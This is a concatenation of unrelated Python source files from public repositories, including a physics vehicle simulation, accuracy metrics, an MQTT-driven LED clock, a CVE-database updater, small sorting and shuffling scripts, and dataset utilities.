flux, wavelength and noise arrays need to be dirrectly supplied.
Parameters
----------
lambdaa: wavelength in angstroms
flux: normalized flux array
sigma_noise: error array
"""
def __init__(self,
z_qso,
object_name,
lambdaa,
flux,
sigma_noise,
**kwargs):
Spectrum.__init__(self, z_qso, object_name, **kwargs)
self.flux = flux
self.sigma_noise = sigma_noise
self.lambdaa = lambdaa
self.npix = len(lambdaa)
# Mask any bad regions or dlas
self.mask_spectrum()
# Prep spectrum
self.prep_spectrum()
print "*** Done ***\n"
| 2.65625 | 3 |
examples/vehicle.py | 20tab/pybulletphysics | 21 | 12789704 | <reponame>20tab/pybulletphysics
from bulletphysics import *
broadphase = DbvtBroadphase()
collisionConfiguration = DefaultCollisionConfiguration()
dispatcher = CollisionDispatcher(collisionConfiguration)
solver = SequentialImpulseConstraintSolver()
world = DiscreteDynamicsWorld(dispatcher, broadphase, solver,collisionConfiguration)
world.setGravity( Vector3(0, -10, 0) )
ground = BoxShape(Vector3(1000, 10, 1000))
chassis = BoxShape(Vector3(10, 10, 20));
ground_motionstate = DefaultMotionState( Transform(Quaternion(0,0,0,1), Vector3(0,-50,0)) )
ground_rigidbody_info = RigidBodyConstructionInfo(0, ground_motionstate, ground, Vector3(0,0,0))
ground_rigidbody = RigidBody(ground_rigidbody_info)
world.addRigidBody(ground_rigidbody)
ground_rigidbody.name = "ground"
chassis_motionstate = DefaultMotionState( Transform(Quaternion(0,0,0,1), Vector3(0, 60,0)) )
chassis_mass = 100
local_inertia = Vector3(0,0,0)
chassis.calculateLocalInertia(chassis_mass, local_inertia)
chassis_rigidbody_info = RigidBodyConstructionInfo(chassis_mass, chassis_motionstate, chassis, local_inertia)
chassis_rigidbody = RigidBody(chassis_rigidbody_info)
chassis_rigidbody.name = "chassis"
tuning = VehicleTuning()
raycaster = DefaultVehicleRaycaster(world)
vehicle = RaycastVehicle(tuning, chassis_rigidbody, raycaster)
print vehicle
world.addRigidBody(chassis_rigidbody)
chassis_rigidbody.setActivationState(4)
world.addAction(vehicle)
vehicle.setCoordinateSystem(0, 1, 2)
# back left (0)
vehicle.addWheel(Vector3(-10, -4.5, -19), Vector3(0,-1, 0), Vector3(-1, 0, 0), 0.6, 6, tuning, False)
# back right (1)
vehicle.addWheel(Vector3(10, -4.5, -19), Vector3(0, -1, 0), Vector3(-1, 0, 0), 0.6, 6, tuning, False)
# front left (2)
vehicle.addWheel(Vector3(-10, -4.5, 19), Vector3(0, -1, 0), Vector3(-1, 0, 0), 0.6, 6, tuning, True)
# front right (3)
vehicle.addWheel(Vector3(10, -4.5, 19), Vector3(0, -1, 0), Vector3(-1, 0, 0), 0.6, 6, tuning, True)
chassis_trans = Transform()
for i in range(0, 300):
vehicle.setSteeringValue(0, 2)
vehicle.setSteeringValue(0, 3)
vehicle.applyEngineForce(1000, 0)
vehicle.applyEngineForce(1000, 1)
vehicle.setBrake(0, 0)
vehicle.setBrake(0, 1)
world.stepSimulation(1/30.0, 1)
chassis_motionstate.getWorldTransform(chassis_trans)
origin = chassis_trans.getOrigin()
print origin.getX(), origin.getY(), origin.getZ()
| 2.453125 | 2 |
client/setup.py | lagudomeze/starwhale | 1 | 12789705 | <filename>client/setup.py
from setuptools import setup, find_packages
install_requires = open("requirements.txt").readlines()
setup(name='starwhale',
version="0.1.0",
description='MLOps Platform',
keywords="MLOps AI",
url='https://github.com/star-whale/starwhale',
license='Apache-2.0',
packages=find_packages(exclude=['ez_setup', 'tests*']),
include_package_data=True,
install_requires=install_requires,
zip_safe=False,
entry_points="""
[console_scripts]
swcli = starwhale.cli:cli
starwhale = starwhale.cli:clip
""",
python_requires = ">=3.7.0",
scripts=[
],
package_data={
},
)
| 1.375 | 1 |
metrics/kinetics/accuracy_metrics.py | cairensi/gesture-recognition | 1 | 12789706 | # Author by CRS-club and wizard
from __future__ import absolute_import
from __future__ import unicode_literals
from __future__ import print_function
from __future__ import division
import numpy as np
import datetime
import logging
logger = logging.getLogger(__name__)
class MetricsCalculator():
def __init__(self, name, mode):
self.name = name
self.mode = mode # 'train', 'val', 'test'
self.reset()
def reset(self):
logger.info('Resetting {} metrics...'.format(self.mode))
self.aggr_acc1 = 0.0
self.aggr_acc5 = 0.0
self.aggr_loss = 0.0
self.aggr_batch_size = 0
def finalize_metrics(self):
self.avg_acc1 = self.aggr_acc1 / self.aggr_batch_size
self.avg_acc5 = self.aggr_acc5 / self.aggr_batch_size
self.avg_loss = self.aggr_loss / self.aggr_batch_size
def get_computed_metrics(self):
json_stats = {}
json_stats['avg_loss'] = self.avg_loss
json_stats['avg_acc1'] = self.avg_acc1
json_stats['avg_acc5'] = self.avg_acc5
return json_stats
def calculate_metrics(self, loss, softmax, labels):
accuracy1 = compute_topk_accuracy(softmax, labels, top_k=1) * 100.
accuracy5 = compute_topk_accuracy(softmax, labels, top_k=5) * 100.
return accuracy1, accuracy5
def accumulate(self, loss, softmax, labels):
cur_batch_size = softmax.shape[0]
# if returned loss is None for e.g. test, just set loss to be 0.
if loss is None:
cur_loss = 0.
else:
cur_loss = np.mean(np.array(loss)) #
self.aggr_batch_size += cur_batch_size
self.aggr_loss += cur_loss * cur_batch_size
accuracy1 = compute_topk_accuracy(softmax, labels, top_k=1) * 100.
accuracy5 = compute_topk_accuracy(softmax, labels, top_k=5) * 100.
self.aggr_acc1 += accuracy1 * cur_batch_size
self.aggr_acc5 += accuracy5 * cur_batch_size
return
# ----------------------------------------------
# other utils
# ----------------------------------------------
def compute_topk_correct_hits(top_k, preds, labels):
'''Compute the number of corret hits'''
batch_size = preds.shape[0]
top_k_preds = np.zeros((batch_size, top_k), dtype=np.float32)
for i in range(batch_size):
top_k_preds[i, :] = np.argsort(-preds[i, :])[:top_k]
correctness = np.zeros(batch_size, dtype=np.int32)
for i in range(batch_size):
if labels[i] in top_k_preds[i, :].astype(np.int32).tolist():
correctness[i] = 1
correct_hits = sum(correctness)
return correct_hits
def compute_topk_accuracy(softmax, labels, top_k):
computed_metrics = {}
assert labels.shape[0] == softmax.shape[0], "Batch size mismatch."
aggr_batch_size = labels.shape[0]
aggr_top_k_correct_hits = compute_topk_correct_hits(top_k, softmax, labels)
# normalize results
computed_metrics = \
float(aggr_top_k_correct_hits) / aggr_batch_size
return computed_metrics
| 2.328125 | 2 |
tools/SDKTool/src/ui/tree/ai_tree/action_dqn_data.py | Passer-D/GameAISDK | 1,210 | 12789707 | <filename>tools/SDKTool/src/ui/tree/ai_tree/action_dqn_data.py
# -*- coding: utf-8 -*-
"""
Tencent is pleased to support the open source community by making GameAISDK available.
This source code file is licensed under the GNU General Public License Version 3.
For full details, please refer to the file "LICENSE.txt" which is provided as part of this source code package.
Copyright (C) 2020 THL A29 Limited, a Tencent company. All rights reserved.
"""
import logging
from collections import OrderedDict
from ....common.define import DQN_ACTION_TYPES, CONTACTS, AI_ACTION_TYPES
from ....config_manager.ai.ai_manager import AIManager, AIAlgorithmType
from .action_data import ActionData
from ...utils import get_value
logger = logging.getLogger("sdktool")
class DqnActionData(ActionData):
@staticmethod
def get_game_action_inner():
return AIManager().get_game_action(AIAlgorithmType.DQN)
@staticmethod
def get_ai_action_inner():
return AIManager().get_ai_action(AIAlgorithmType.DQN)
def game_action_extend_param(self):
param = OrderedDict()
out_params = OrderedDict()
out_params['path'] = ''
out_params['region'] = OrderedDict()
out_params['region']['x'] = 0
out_params['region']['y'] = 0
out_params['region']['w'] = 0
out_params['region']['h'] = 0
param['actionRegion'] = out_params
param['durationMS'] = 0
return param
def get_type_param(self):
out_params = OrderedDict()
out_params['path'] = ''
out_params['region'] = OrderedDict()
out_params['region']['x'] = 0
out_params['region']['y'] = 0
out_params['region']['w'] = 0
out_params['region']['h'] = 0
return out_params
def get_game_action_type_param(self):
return DQN_ACTION_TYPES
def init_swipe_params(self, params=None):
if params is None:
params = OrderedDict()
swipe_param = OrderedDict()
swipe_param['startX'] = get_value(params, 'startX', 0)
swipe_param['startY'] = get_value(params, 'startY', 0)
swipe_param['endX'] = get_value(params, 'endX', 0)
swipe_param['endY'] = get_value(params, 'endY', 0)
return swipe_param
def new_game_action(self, action_name, game_action):
action_value = OrderedDict()
action_value['id'] = game_action.alloc_id()
action_value['name'] = action_name
action_value['contact'] = CONTACTS[0]
action_value['sceneTask'] = -1
action_value['type'] = AI_ACTION_TYPES[0]
return action_value
| 1.796875 | 2 |
app/grandchallenge/uploads/emails.py | kant/grand-challenge.org | 0 | 12789708 | from django.conf import settings
from grandchallenge.core.utils.email import send_templated_email
def send_file_uploaded_notification_email(**kwargs):
uploader = kwargs["uploader"]
challenge = kwargs["challenge"]
site = kwargs["site"]
title = f"[{challenge.short_name.lower()}] New Upload"
admins = challenge.get_admins()
if not admins:
admin_email_adresses = [x[1] for x in settings.ADMINS]
kwargs["additional_message"] = (
"<i> Message from COMIC: I could not\
find any administrator for "
+ challenge.short_name
+ ". Somebody needs to\
know about this new upload, so I am Sending this email to everyone set\
as general COMIC admin (ADMINS in the /comic/settings/ conf file). To\
stop getting these messages, set an admin for\
"
+ challenge.short_name
+ ".</i> <br/><br/>"
)
else:
kwargs["additional_message"] = ""
admin_email_adresses = [x.email for x in admins]
kwargs["project"] = challenge
send_templated_email(
title,
"uploads/emails/file_uploaded_email.html",
kwargs,
admin_email_adresses,
)
| 2.171875 | 2 |
ontquery/__init__.py | tmsincomb/ontquery | 1 | 12789709 | from ontquery.query import OntQuery, OntQueryCli
from ontquery.terms import OntCuries, OntId, OntTerm
from ontquery import plugin
__all__ = ['OntCuries', 'OntId', 'OntTerm', 'OntQuery', 'OntQueryCli']
__version__ = '0.2.8'
| 1.210938 | 1 |
raw/files_manager.py | atoms18/BMI-prediction-from-Human-Image | 3 | 12789710 |
import shutil
from os import listdir
from os.path import isfile, join
from pathlib import Path
outlier_files = {f for f in listdir("outlier") if isfile(join("outlier", f))}
raw_outlier_files = {Path(f).stem + ".jpg" for f in listdir("raw_outlier_datasets/") if isfile(join("raw_outlier_datasets/", f))}
move_files = outlier_files - raw_outlier_files
print(raw_outlier_files)
#for file in move_files:
# shutil.move("outlier/"+Path(file).stem+".png", "outlier/nude/"+Path(file).stem+".png")
| 2.8125 | 3 |
problems/bubble-sort/bubble-sort.py | vidyadeepa/the-coding-interview | 1,571 | 12789711 | <reponame>vidyadeepa/the-coding-interview
def bubblesort(l):
"""
Runtime: O(n^2)
"""
last = len(l)-1
for i in range(last):
for j in range(i+1, last):
if l[i] > l[j]:
l[i], l[j] = l[j], l[i]
return l
print bubblesort([8,2,4,7,9,0,1,4,5,7,8,9])
print bubblesort([])
print bubblesort([1])
print bubblesort([1,3])
| 3.875 | 4 |
diyclock.py | parttimehacker/diyclock | 0 | 12789712 | <gh_stars>0
#!/usr/bin/python3
""" Diyhas clock, motion detector and piezo alarm """
# MIT License
#
# Copyright (c) 2019 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import time
import datetime
import socket
import queue
import logging
import logging.config
import paho.mqtt.client as mqtt
from Adafruit_GPIO import GPIO
from Adafruit_LED_Backpack import BicolorMatrix8x8
import ledclock
import led8x8controller
logging.config.fileConfig(fname='/home/an/diyclock/logging.ini', disable_existing_loggers=False)
# Get the logger specified in the file
LOGGER = logging.getLogger("diyclock")
LOGGER.info('Application started')
class Configuration:
""" motion_topic to avoid global PEP8 """
def __init__(self):
""" create two topics for this application """
self.setup_topic = "diy/" + socket.gethostname() + "/setup"
self.motion_topic = ""
self.pir_pin = 24
self.piezo_pin = 4
self.mqtt_ip = "192.168.1.53"
self.matrix8x8_addr = 0x70
def set(self, topic):
""" the motion topic is passed to the app at startup """
self.motion_topic = topic
def get_setup(self,):
""" the motion topic dynamically set """
return self.setup_topic
def get_motion(self,):
""" the motion topic dynamically set """
return self.motion_topic
CONFIG = Configuration()
class MotionController:
""" motion detection device driver """
def __init__(self, pin):
""" capture interrupts """
self.gpio = GPIO.get_platform_gpio()
self.queue = queue.Queue()
self.pin = pin
self.gpio.setup(self.pin, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
self.last_reading = 0
def pir_interrupt_handler(self, gpio):
""" motion interrupt handler sends 1 or 0 to queue """
state = self.gpio.input(gpio)
if state == 1:
message = "1"
else:
message = "0"
if state != self.last_reading:
self.queue.put(message)
self.last_reading = state
def enable(self,):
""" enable the interrupt handler """
self.gpio.add_event_detect(self.pin, GPIO.RISING, callback=self.pir_interrupt_handler)
def detected(self,):
""" has motion been detected """
return not self.queue.empty()
def get_motion(self,):
""" return the last value either 1 or 0 """
return self.queue.get(False)
def wait_for_motion(self,):
""" wait for the next interrupt 1 or 0 """
return self.queue.get(True)
class AlarmController:
""" alarm piezo device driver """
def __init__(self, pin):
""" control output to pin 4 """
self.gpio = GPIO.get_platform_gpio()
self.pin = pin
self.gpio.setup(self.pin, GPIO.OUT)
self.gpio.output(self.pin, GPIO.LOW)
def sound_alarm(self, turn_on):
""" turn power to piexo on or off """
if turn_on:
self.gpio.output(self.pin, GPIO.HIGH)
else:
self.gpio.output(self.pin, GPIO.LOW)
def reset(self,):
""" turn power to piexo off """
self.gpio.output(self.pin, GPIO.LOW)
CLOCK = ledclock.LedClock()
CLOCK.run()
DISPLAY = BicolorMatrix8x8.BicolorMatrix8x8(address=CONFIG.matrix8x8_addr)
DISPLAY.begin()
MATRIX = led8x8controller.Led8x8Controller(DISPLAY)
MATRIX.run()
ALARM = AlarmController(CONFIG.piezo_pin)
ALARM.sound_alarm(False)
class TimedEvents:
""" timed event handler """
def __init__(self, day, night):
""" initialize night,day and light status """
if night < day:
raise "NIGHT < DAY"
self.night = night
self.day = day
self.lights_are_on = True
def control_lights(self, switch):
""" dim lights at night or turn up during the day """
if switch == "Turn On":
CLOCK.set_brightness(12)
MATRIX.set_state(led8x8controller.DEMO_STATE)
self.lights_are_on = True
else:
CLOCK.set_brightness(0)
MATRIX.set_state(led8x8controller.IDLE_STATE)
self.lights_are_on = False
def check_for_timed_events(self,):
""" turn down displays at night """
now = datetime.datetime.now().time()
if now <= self.day:
if self.lights_are_on:
self.control_lights("Turn Off")
elif now >= self.night:
if self.lights_are_on:
self.control_lights("Turn Off")
else:
if not self.lights_are_on:
self.control_lights("Turn On")
DAY_DEFAULT = datetime.time(6, 1)
NIGHT_DEFAULT = datetime.time(20, 1)
TIMER = TimedEvents(DAY_DEFAULT, NIGHT_DEFAULT)
def system_message(msg):
""" process system messages"""
#pylint: disable=too-many-branches
#LOGGER.info(msg.topic+" "+msg.payload.decode('utf-8'))
if msg.topic == 'diy/system/fire':
if msg.payload == b'ON':
MATRIX.set_mode(led8x8controller.FIRE_MODE)
ALARM.sound_alarm(True)
else:
MATRIX.set_mode(led8x8controller.FIBONACCI_MODE, True)
ALARM.sound_alarm(False)
elif msg.topic == 'diy/system/panic':
if msg.payload == b'ON':
MATRIX.set_mode(led8x8controller.PANIC_MODE)
ALARM.sound_alarm(True)
else:
MATRIX.set_mode(led8x8controller.FIBONACCI_MODE, True)
ALARM.sound_alarm(False)
elif msg.topic == 'diy/system/who':
if msg.payload == b'ON':
CLOCK.set_mode(ledclock.WHO_MODE)
else:
CLOCK.set_mode(ledclock.TIME_MODE)
elif msg.topic == 'diy/system/demo':
if msg.payload == b'ON':
MATRIX.set_state(led8x8controller.DEMO_STATE)
else:
MATRIX.set_state(led8x8controller.IDLE_STATE)
elif msg.topic == 'diy/system/security':
if msg.payload == b'ON':
MATRIX.set_state(led8x8controller.SECURITY_STATE)
else:
MATRIX.set_state(led8x8controller.DEMO_STATE)
elif msg.topic == 'diy/system/silent':
if msg.payload == b'ON':
MATRIX.set_state(led8x8controller.IDLE_STATE)
else:
MATRIX.set_state(led8x8controller.DEMO_STATE)
elif msg.topic == CONFIG.get_setup():
topic = msg.payload.decode('utf-8') + "/motion"
CONFIG.set(topic)
# use a dispatch model for the subscriptions
TOPIC_DISPATCH_DICTIONARY = {
"diy/system/demo":
{"method":system_message},
"diy/system/fire":
{"method":system_message},
"diy/system/panic":
{"method":system_message},
"diy/system/security":
{"method":system_message},
"diy/system/silent":
{"method":system_message},
"diy/system/who":
{"method":system_message},
CONFIG.get_setup():
{"method":system_message}
}
# The callback for when the client receives a CONNACK response from the server.
# def on_connect(client, userdata, flags, rc):
def on_connect(client, userdata, flags, rcdata):
#pylint: disable=unused-argument
""" Subscribing in on_connect() means that if we lose the connection and
reconnect then subscriptions will be renewed. """
client.subscribe("diy/system/demo", 1)
client.subscribe("diy/system/fire", 1)
client.subscribe("diy/system/panic", 1)
client.subscribe("diy/system/security", 1)
client.subscribe("diy/system/silent", 1)
client.subscribe("diy/system/who", 1)
client.subscribe(CONFIG.get_setup(), 1)
client.subscribe("diy/+/+/motion", 1)
def on_disconnect(client, userdata, rcdata):
#pylint: disable=unused-argument
""" disconnect detected """
LOGGER.info("Disconnected")
client.connected_flag = False
client.disconnect_flag = True
# The callback for when a PUBLISH message is received from the server.
# def on_message(client, userdata, msg):
def on_message(client, userdata, msg):
#pylint: disable=unused-argument
""" dispatch to the appropriate MQTT topic handler """
if "motion" in msg.topic:
MATRIX.update_motion(msg.topic)
else:
TOPIC_DISPATCH_DICTIONARY[msg.topic]["method"](msg)
MOTION = MotionController(CONFIG.pir_pin)
MOTION.enable()
if __name__ == '__main__':
#Start utility threads, setup MQTT handlers then wait for timed events
CLIENT = mqtt.Client()
CLIENT.on_connect = on_connect
CLIENT.on_disconnect = on_disconnect
CLIENT.on_message = on_message
CLIENT.connect(CONFIG.mqtt_ip, 1883, 60)
CLIENT.loop_start()
# give network time to startup - hack?
time.sleep(1.0)
# loop forever checking for interrupts or timed events
while True:
time.sleep(1.0)
if MOTION.detected():
VALUE = MOTION.get_motion()
TOPIC = CONFIG.get_motion()
CLIENT.publish(TOPIC, VALUE, 0, True)
# print("bil: motion detected")
TIMER.check_for_timed_events()
| 2.078125 | 2 |
code/src/nuvla/job/actions/vulnerabilities_database.py | nuvla/job-engine | 3 | 12789713 | <reponame>nuvla/job-engine<filename>code/src/nuvla/job/actions/vulnerabilities_database.py
# -*- coding: utf-8 -*-
from ..actions import action
import logging
import requests
import gzip
import json
import io
from nuvla.api import NuvlaError
@action('update_vulnerabilities_database')
class VulnerabilitiesDatabaseJob(object):
def __init__(self, _, job):
self.job = job
self.api = job.api
config = self.api.get('configuration/nuvla')
self.external_vulnerabilities_db = config.data.get('external-vulnerabilities-db')
self.github_api = 'https://api.github.com'
@staticmethod
def download_db(url):
external_db = requests.get(url)
trimmed_url = url.split('?')[0] # get rid of any url parameters
if trimmed_url.endswith('.gz'):
# gzip file
db_content = io.BytesIO(external_db.content)
db_content_json = json.loads(gzip.GzipFile(fileobj=db_content, mode='rb').read())
else:
# assume it is a JSON file
db_content_json = external_db.json()
return db_content_json
def get_last_db_timestamps(self):
nuvla_db_last_update = None
nuvla_vulns = self.api.search('vulnerability', orderby='modified:desc', last=1).resources
if len(nuvla_vulns) > 0:
nuvla_db_last_update = nuvla_vulns[0].data.get('updated')
# instead of naively always downloading to DB to check the last timestamp, we can try to infer whether the DB
# is in GitHub, and find the timestamp of the last commit and a pre-condition
if self.external_vulnerabilities_db.startswith('https://github.com/'):
gh_account_repo = self.external_vulnerabilities_db.lstrip('https://github.com/').rstrip('.git')
try:
github_account, repo = gh_account_repo.split('/')[0:2]
github_last_commit = requests.get(f'{self.github_api}/repos/{github_account}/{repo}/commits/main')
if github_last_commit.status_code == 422:
# try legacy master branch instead
github_last_commit = requests.get(f'{self.github_api}/repos/{github_account}/{repo}/commits/master')
if github_last_commit.status_code == 200 and isinstance(github_last_commit.json(), dict):
last_commit_date = str(github_last_commit.json()['commit'].
get('committer', github_last_commit.json()['commit'].get('author'))['date'])
return nuvla_db_last_update, last_commit_date, None
except (IndexError, KeyError):
logging.exception("Could not infer last date of DB update from GitHub API")
pass
# if we got here, it's because we couldn't yet get the last update timestamp from the external source
# so let's just download the given DB and get the timestamp from its content
db_content_json = self.download_db(self.external_vulnerabilities_db)
try:
# even though the db_content_json might not be needed (in case there are no updates),
# we cache it anyway to avoid downloading it again later on
return nuvla_db_last_update, db_content_json['CVE_data_timestamp'], db_content_json
except KeyError:
logging.exception(f"Could not parse the external vulnerability DB provided at {self.external_vulnerabilities_db}")
return nuvla_db_last_update, None, None
def get_nuvla_vulnerabilities_list(self):
# we need to paginate, so let's initialize the list
# 10k records at the time
vulns = []
aux = self.api.search('vulnerability', orderby='updated:desc', select="id,name,modified,updated").resources
vulns += aux
while len(aux) == 10000:
page_filter = aux[-1].data.get('updated')
# when we get a page with less than 10k resources, then it's the last one
aux = self.api.search('vulnerability',
orderby='updated:desc',
select="id,name,modified,updated",
filter=f'updated<"{page_filter}"').resources
vulns += aux
return vulns
def update_vulnerabilities_database(self):
logging.info(f'Updating DB of vulnerabilities in Nuvla, from {self.external_vulnerabilities_db}')
self.job.set_progress(10)
nuvla_db_last_update, external_db_last_update, db_content = self.get_last_db_timestamps()
self.job.set_progress(20)
if not external_db_last_update:
# if we can't get the last update time from the external DB, then we can't update the Nuvla DB
self.job.update_job(status_message="Can not lookup external DB. Nothing to do...")
self.job.set_progress(100)
return 0
logging.info("Last Nuvla DB update: %s" % nuvla_db_last_update)
logging.info("Last external DB update: %s" % external_db_last_update)
new_vuln = 0
updated_vuln = 0
self.job.set_progress(40)
if not db_content:
db_content = self.download_db(self.external_vulnerabilities_db)
# get all vulnerability IDs from Nuvla
nuvla_vulnerabilities = self.get_nuvla_vulnerabilities_list()
nuvla_vuln_res_id_map = {}
for res in nuvla_vulnerabilities:
nuvla_vuln_res_id_map[res.data.get('name', '')] = {'nuvla_id': res.id,
'modified': res.data.get('modified',
'1970-01-01T00:00:00Z')}
self.job.set_progress(60)
try:
cve_items = db_content['CVE_Items']
logging.info("Vulnerabilities in the Nuvla DB: %s" % len(nuvla_vuln_res_id_map))
logging.info("Vulnerabilities in external DB: %s" % len(cve_items))
for cve_item in cve_items:
try:
cve = cve_item['cve']
cve_modified = cve_item.get('lastModifiedDate')
if not cve_modified:
# if we can't know when was the vulnerability updated, then better not to update anything
continue
cve_id = cve['CVE_data_meta']['ID']
# to save API calls, let's do selective updates, by only updating the Nuvla vulnerabilities
# that have in fact been updated upstream (instead of the full collection)
if not nuvla_db_last_update or \
cve_id not in nuvla_vuln_res_id_map or \
cve_modified > nuvla_vuln_res_id_map[cve_id]['modified']:
# then it needs updating/creating
cve_description = cve['description']['description_data'][0]['value']
cve_ref = cve['references']['reference_data'][0]['url']
cve_score = cve_item['impact']['baseMetricV3']['cvssV3'].get('baseScore')
cve_severity = cve_item['impact']['baseMetricV3']['cvssV3'].get('baseSeverity', 'NONE')
cve_published = cve_item['publishedDate']
payload = {
'name': cve_id,
'description': cve_description,
'reference': cve_ref,
'published': cve_published,
'modified': cve_modified,
"acl": {
"view-data": [
"group/nuvla-user"
],
"view-meta": [
"group/nuvla-user"
],
"view-acl": [
"group/nuvla-user"
],
"owners": [
"group/nuvla-admin"
]
},
}
if cve_score:
payload['score'] = cve_score
payload['severity'] = cve_severity if cve_severity else "NONE"
if cve_id in nuvla_vuln_res_id_map:
# PUT
try:
self.api.edit(nuvla_vuln_res_id_map[cve_id]['nuvla_id'], payload)
updated_vuln += 1
except NuvlaError:
logging.exception(f"Couldn't PUT existing vulnerability {payload['name']}")
else:
# POST
try:
self.api.add('vulnerability', payload)
new_vuln += 1
except NuvlaError:
logging.exception(f"Couldn't POST new vulnerability {payload['name']}")
except KeyError:
continue
except KeyError:
logging.exception("External DB is missing expected fields")
raise
msg = f"Summary: modified={updated_vuln} / new={new_vuln}"
logging.info(msg)
self.job.set_progress(100)
self.job.set_status_message(msg)
return 0
def do_work(self):
return self.update_vulnerabilities_database()
| 2.40625 | 2 |
vilmedic/datasets/ImSeqLabel.py | jbdel/vilmedic | 15 | 12789714 | import torch
from torch.utils.data import Dataset
from .base.LabelDataset import LabelDataset
from .ImSeq import ImSeq
class ImSeqLabel(Dataset):
def __init__(self, seq, label, image, split, ckpt_dir, **kwargs):
self.split = split
self.imgseq = ImSeq(seq, image, split=split, ckpt_dir=ckpt_dir)
self.label = LabelDataset(**label, split=split, ckpt_dir=ckpt_dir)
assert len(self.imgseq) == len(self.label), str(len(self.imgseq)) + 'vs ' + str(len(self.label))
# For decoding, if needed
self.tokenizer = self.imgseq.seq.tokenizer
self.tokenizer_max_len = self.imgseq.seq.tokenizer_max_len
# For tokenizing
self.tokenizer_args = self.imgseq.seq.tokenizer_args
def __getitem__(self, index):
return {**self.imgseq.__getitem__(index), **self.label.__getitem__(index)}
def get_collate_fn(self):
def collate_fn(batch):
collated = {**self.imgseq.get_collate_fn()(batch),
**self.label.get_collate_fn()(batch)}
return collated
return collate_fn
def __len__(self):
return len(self.label)
def __repr__(self):
return "ImSeqLabel\n" + str(self.imgseq) + '\n' + str(self.label)
| 2.515625 | 3 |
students/admin.py | wjarczak/WSB-CRUD | 0 | 12789715 | <gh_stars>0
from django.contrib import admin
from .models import Student, Representative
admin.site.register(Student)
admin.site.register(Representative) | 1.296875 | 1 |
shuffle.py | asix7/RandomScripts | 0 | 12789716 | # Author: <NAME> 2016
# Practice random shuffles, and see their effectiveness
import random
import math
list = ["Hola", "no", "estoy", "aqui", "Javi", "assca"]
# Inplace shuffle
def shuffle(list):
for index in range(0, len(list)):
new_index = random.randint(0, len(list) - 1)
var = list[index]
list[index] = list[new_index]
list[new_index] = var
return list
# Stract form list shuffle
def shuffle2(list):
new_list = []
while len(list) > 0:
index = random.randint(0, len(list) - 1)
new_list.append(list[index])
list.pop(index)
list = new_list
return list
# Count ocurrance of each combination
dic = {}
n = 10000
for i in range(0,n):
list = shuffle(list)
if str(list) in dic.keys():
dic[str(list)] += 1
else:
dic[str(list)] = 1
# Calculate the mean
sum = 0
for combination in dic.keys():
sum += dic[combination]
print (dic[combination])
mean = 1.0*sum/len(dic.keys())
print ("Mean:")
print (mean)
# Calculate Standard deviation
coeficient = 0
for combination in dic.keys():
coeficient += (mean - dic[combination]) * (mean - dic[combination])
standard_deviation = math.sqrt(coeficient/n)
print (standard_deviation)
| 3.984375 | 4 |
03-Python/2/Activities/12-Ins_Functions/Solved/functions.py | madhavinamballa/datascience_Berkely | 0 | 12789717 | # Define the function and tell it to print "Hello!" when called
def printHello():
print(f"Hello!")
# Call the function within the application to ensure the code is run
printHello()
# -------------#
# Functions that take in and use parameters can also be defined
def printName(name):
print("Hello " + name + "!")
# When calling a function with a parameter, a parameter must be passed into the function
printName("<NAME>")
# -------------#
# The prime use case for functions is in being able to run the same code for different values
listOne = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
listTwo = [11, 12, 13, 14, 15]
def listInformation(simpleList):
print(f"The values within the list are...")
for value in simpleList:
print(value)
print("The length of this list is... " + str(len(simpleList)))
listInformation(listOne)
listInformation(listTwo)
| 4.59375 | 5 |
invert_dict.py | brupoon/mustachedNinja | 0 | 12789718 | #invert_dict from 11.4
def invert_dict(d):
invert = dict()
for key in d:
value = d[key]
if value not in invert:
invert[value] = [key]
else:
invert[value].append(key)
return invert
#using setdefault, write a more concise version of invert_dict
def invert_dict_set(d):
invert = dict()
for key in d:
inverter = invert.setdefault(d[key], []).append(key)
return invert
def main():
dict1 = {'one': 1, 'two': 2, 'notthree': 1}
dict1_invert = invert_dict(dict1)
dict1_invert_set = invert_dict_set(dict1)
print("dict1: ", dict1)
print("dict1_invert: ", dict1_invert)
print("dict1_invert_set: ", dict1_invert_set)
if __name__ == '__main__':
main() | 4.5 | 4 |
Chapter09/findword.py | LuisPereda/Learning_Python | 0 | 12789719 | <filename>Chapter09/findword.py
word = raw_input("Enter the word ")
word = word.lower()
file_txt = open("batman.txt", "r")
count = 0
for each in file_txt:
if word in each.lower():
count = count+1
print "The ", word ," occured ",count, " times"
| 3.796875 | 4 |
dlfairness/original_code/FairALM/Experiments-ChestXRay/random_sample_dataset.py | lin-tan/fairness-variance | 0 | 12789720 | <reponame>lin-tan/fairness-variance
import shutil, random, os
from pathlib import Path
from PIL import Image
dir_path = Path('./raw_data')
dest_path = Path('./tuberculosis-data-processed/')
fn_list = list(dir_path.iterdir())
test_set = random.sample(fn_list, int(len(fn_list) * 0.25)) # Sample 25%
train_dir = Path(dest_path, 'train')
test_dir = Path(dest_path, 'test')
train_dir.mkdir(exist_ok=True, parents=True)
test_dir.mkdir(exist_ok=True, parents=True)
for fn in fn_list:
image = Image.open(fn).resize((128, 128)).convert('L')
if fn in test_set:
save_path = Path(test_dir, fn.name)
else:
save_path = Path(train_dir, fn.name)
image.save(save_path) | 2.40625 | 2 |
src/avmath/algebra.py | ballandt/Evmath | 1 | 12789721 | <reponame>ballandt/Evmath<gh_stars>1-10
"""AVMATH ALGEBRA
AdVanced math algebra submodule containing linear algebra
features tuples, vectors, matrices and systems of linear
equations.
"""
import copy
import logging
from typing import Union, Optional, List
